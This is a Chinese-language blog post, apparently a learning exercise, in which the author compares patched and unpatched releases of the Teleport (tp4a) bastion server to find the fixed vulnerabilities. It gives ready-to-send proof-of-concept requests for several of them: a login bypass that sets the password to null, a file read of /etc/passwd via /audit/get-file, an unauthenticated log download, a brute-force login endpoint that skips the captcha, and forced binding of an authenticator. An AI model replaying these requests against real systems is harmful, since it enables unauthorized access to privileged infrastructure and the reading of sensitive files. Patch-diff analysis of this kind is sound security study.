代码审计做的比较少,看到大佬发的分析文章,正好学习下
访问下载页面 https://tp4a.com/download
更新公告里说明了几个漏洞情况

下载 补丁包和原版包,进行对比
任意用户登录

补丁里对几种登录类型进行了验证,不允许 password 值为 null
可以看下验证登录的函数 login,在 data/www/teleport/webroot/app/model/user.py

在 password 为null 的时候就跳过了验证
poc
| 1
2
3
4
5
6
7
8
9
 | 抓包,把密码改为 null 即可
      {
          "type":2,
          "username":"admin",
          "password":null,
          "captcha":"rhcl",
          "oath":"",
          "remember":false
      }
 | 
 
顺便可以看下在 tp-const.js 里的几种登录类型的定义

这里 type 为 2 就是 TP_LOGIN_AUTH_USERNAME_PASSWORD_CAPTCHA 也就是 用户名+密码+验证码 类型
后台文件下载

修复补丁给 DoGetFileHandler 函数加上了一个限制,仅允许读取
找下路由

验证了权限,所以是后台洞

poc
| 1
 | /audit/get-file?f=/etc/passwd&rid=1&type=rdp&act=read&offset=0
 | 
 
前台日志下载
这时我发现升级描述里还有一句 修正:经过特别构造的请求,无需登录即可读取TP系统操作日志; ,这个洞应该也是未授权的.
下载 teleport-server-linux-x64-3.6.4-b3.tar.gz 和 3.6.3 对比下

果然,补丁给 DoGetLogsHandler 这个函数加上了权限验证,看下他的路由

poc
| 1
2
3
4
5
6
7
 |     POST http://xxx.xxx.xxx.xxx/system/get-logs HTTP/1.1
    Host: xxx.xxx.xxx.xxx
    Content-Length: 162
    Content-Type: application/x-www-form-urlencoded;
    Connection: close
    args=%7B%22filter%22%3A%7B%7D%2C%22order%22%3A%7B%22k%22%3A%22log_time%22%2C%22v%22%3Afalse%7D%2C%22limit%22%3A%7B%22page_index%22%3A0%2C%22per_page%22%3A25%7D%7D
 | 
 
绕过验证码爆破
继续看路由,发现BindOathHandler这个函数也不需要鉴权,这个路由下还存在登陆点且无需验证码
poc
|  1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
 | POST /user/verify-user HTTP/1.1
Host: xx.xx.xx.xx
Content-Length: 102
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: _sid=tp_1663328293_17c56ddafdb179f0
Connection: close
args=%7B%22username%22%3A%22admin%22%2C%22password%22%3A%22123456%22%2C%22check_bind_oath%22%3Atrue%7D
 | 
 
不过注意,默认口令启用强密码策略,要求密码至少8位,必须包含大写字母、小写字母以及数字
强行绑定身份验证器
同样是BindOathHandler这个函数,看了下他返回user/bind-oath.mako的模版,模版里向/user/verify-user 发送认证请求,通过路由定位到函数DoVerifyUserHandler

可以看到,这里也是用 user.login 函数认证的,所以 password 直接用 null 就可以绕过了
poc
|  1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
 | POST http://xx.xx.xx.xx/user/verify-user HTTP/1.1
Host: xx.xx.xx.xx
Content-Length: 94
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: _sid=tp_1663328293_17c56ddafdb179f0
Connection: close
args=%7B%22username%22%3A%22admin%22%2C%22password%22%3Anull%2C%22check_bind_oath%22%3Atrue%7D
 | 
 

同样,下一个包也设为 null 即可
这洞没啥用,可以用于恶心管理员 😝
一些思考
- 根据这个权限验证代码的存在与否可以找前台未授权的点,那么能不能实现自动找未授权页面?
- 几个权限绕过本质上是 login 函数的问题,可以根据login函数调用点找漏洞触发点